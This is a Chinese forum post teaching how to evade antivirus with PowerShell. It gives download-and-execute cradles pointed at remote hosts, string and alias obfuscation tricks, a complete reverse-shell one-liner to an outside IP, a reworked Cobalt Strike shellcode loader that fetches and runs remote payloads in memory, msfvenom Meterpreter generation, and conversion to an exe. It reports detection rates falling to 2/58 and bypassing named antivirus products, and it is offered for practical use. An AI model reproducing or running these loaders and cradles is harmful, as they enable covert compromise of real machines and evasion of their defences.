电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2310 人浏览分享

Powershell免杀从入门到实践

[复制链接]
2310 0
前言

在之前发布的一篇 渗透技巧之Powershell实战思路中 学习了powershell在对抗Anti-Virus的方便和强大
团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学
习powershell在对抗Anti-Virus的骚姿势。

绕过执行策略

powershell 可以通过绕过执行策略来执行恶意程序。
而从文件是否落地可以简单分为落地的bypass、不落地的bypass。
以落地为例
  1. powershell -ExecutionPolicy bypass -File  a.ps1   
复制代码

以不落地为例 如我们熟知的IEX
  1. powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"
复制代码

从免杀上来说 查杀比较严格的当然是不落地文件的这种方式。
我们可以将两种方式混用来实现简单的bypass
如:
  1. echo Invoke-Expression(new-object net.webclient).downlo
  2. adstring('http://xxx.xxx.xxx/a') | powershell -
复制代码

如:
  1. powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"
复制代码

简单混淆

powershell混淆姿势有很多 如字符串转换 变量转换 编码 压缩等等 根据powershell
语言的特性来混淆代码 从而绕过Anti-Virus。

处理powershell

利用cmd的混淆以不同的姿势调用powershell
如利用win10环境变量截取出powershell
  1. %psmodulepath:~24,10%
复制代码

处理IEX

为IEX设置别名
  1. powershell set-alias -name cseroad -value Invoke-Expression;csero
  2. ad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')
复制代码

处理downloadstring

使用转义符
  1. "Down`l`oadString"
复制代码

处理http

以变量的方式拆分http
  1. powershell "$a='((new-object net.webclient).download
  2. string(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"   
复制代码

以中文单引号分割
  1. ht‘+’tp
复制代码

基于以上混淆基础 就可以实现多种bypass的姿势

如:
  1. cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.We
  2. bClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"
复制代码

如:
  1. echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`o
  2. adString"('h'+'ttp://106.xx.xx.xx/a') | powershell -
复制代码

如:
  1. chcp 1200 & powershell  -c "IEX(New-Object Net.WebClient)."Downl
  2. oadString"('ht‘+’tp://xx.xx.xx/a')"
复制代码

这里再分享一个小技巧:
在测试对抗某些杀毒软件时 发现对cmd下操作查杀比较严格 相对来说powershell环境下更容易bypass。
而实际中可能更多的默认为cmd。我们可以先用socket一句话反弹powershell环境 再执行后续操作。
客户端执行命令:
  1. powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.Ge
  2. tStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $da
  3. ta = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data
  4. 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendat
  5. a);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"
复制代码

服务端nc监听即可:
  1. nc -lvp 9090
复制代码

以此来迂回得达到我们的目的。

分析CobaltStrike powershell command

这里使用CobaltStrike 4.1来生成payload

99.JPG

访问83端口的a文件 获取payload代码。
查看代码 可以看到先使用base64解码一段字符串 又通过IO.Compression.GzipStream
解压缩 并将代码进行IEX执行。
  1. $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.Stre
  2. amReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::De
  3. compress))).ReadToEnd();
复制代码

修改IEX为echo 保存为我是猪!.ps1文件 运行得到源码。
  1. powershell -ExecutionPolicy bypass -File  我是猪!a.ps1 >> old.txt
复制代码

98.JPG

可以看出大概分为func_get_delegate_type func_get_proc_address两个函数 然后是一个base64
解码的函数且将byte数组进行了xor的异或操作。然后分配一些内存,将有效负载复制到分配的内
存空间中。最后判断计算机架构并执行。

那么关键位置就应该是这串base编码的数据了。事实上
这段数据是bin文件编码得来的。
我们将该byte数组保存为new.bin文件。
  1. $enc=[System.Convert]::FromBase64String('base64编码字符串')
  2. for ($x = 0; $x -lt $enc.Count; $x++) {
  3.         $enc[$x] = $enc[$x] -bxor 35
  4. }
  5. $infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)
复制代码

而后修改为读取new.bin文件内容到内存后再上线。


  1. [Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')
复制代码

其余代码未修改。

96.JPG

执行后可正常上线。

放入VT查杀一下11/59

92.JPG

这时候我们就得到了powershell版的一个加载器 继续尝试修改该加载器本身的一些特征。
  1. 对func_get_delegate_type,func_get_proc_address两个函数重命名替换对函数里面的一些变量进行重新定义

  2. 重命名$DoIt为$我是猪!

  3. 修改IEX为I`EX

  4. 修改Invoke为Inv'+'oke

  5. 替换$var_code为$acode
复制代码

放入VT再次查杀2/58

91.JPG

powershell加载器

上面的脚本通过读取new.bin中的字节数组并在内存执行从而成功使cobalt strike上线。
那同样可以从远程文件读取shellcode,并加载到内存执行 来实现payload无落地。
加载器代码如下:
  1. Set-StrictMode -Version 2

  2. function func_get_delegate_type_new {
  3.         Param (
  4.                 [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
  5.                 [Parameter(Position = 1)] [Type] $var_return_type = [Void]
  6.         )
  7.         $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Refle
  8. ction.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDy
  9. namicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, A
  10. utoClass', [System.MulticastDelegate])
  11.         $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingCo
  12. nventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
  13.         $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_ty
  14. pe, $var_parameters).SetImplementationFlags('Runtime, Managed')
  15.         return $var_type_builder.CreateType()
  16. }

  17. function func_get_proc_address_new {
  18.         Param ($var_module, $var_procedure)               
  19.         $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
  20.         $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssem
  21. blyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  22.         $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Run
  23. time.InteropServices.HandleRef', 'string'))
  24.         return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Ru
  25. ntime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMeth
  26. od('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
  27. }

  28. If ([IntPtr]::size -eq 8) {
  29.         [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
  30.         $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_add
  31. ress_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
  32.         $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
  33.         [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
  34.         $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPoint
  35. er($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
  36.         $var_runme.Invoke([IntPtr]::Zero)

  37. }
复制代码

CobaltStrike生成payload.bin文件时 注意勾选x64。

90.JPG

将该payload.bin文件放置在远程服务器上 powershell执行bypass操作。
  1. powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin
复制代码

CobaltStrike正常上线。

89.JPG

metasploit 也是同样的道理。使用msfvenom生成raw文件 看看加载器是否通用。

生成raw木马
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPO
  2. RT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin
复制代码

powershell直接利用加载器加载该bin文件。
  1. powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin
复制代码

metasploit 也可以正常上线。

88.JPG

powershell转exe

在修改了加载器之后 我们还可以通过powershell代码将其加载器转换为exe程序。

借助Win-PS2EXE项目 通过ps2exe.ps1脚本将加载器转为exe文件。更方便实战中使用。
  1. powershell.exe -ExecutionPolicy bypass  -command "&'.\ps2exe.ps1' -inp
  2. utFile 'old.ps1' -outputFile 'aaa.exe'"
复制代码

查杀率5/70

87.JPG

测试可过360、火绒。

86.JPG

总结

利用cmd powershell语法混淆实现了bypass;

简单分析CobaltStrike powershell payload 获得powershell版本的shellcode加载器;

利用Win-PS2EXE项目转换为exe更方便实际利用。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.